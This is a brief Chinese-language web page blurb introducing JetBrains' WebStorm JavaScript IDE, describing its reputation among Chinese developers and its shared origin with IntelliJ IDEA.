WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册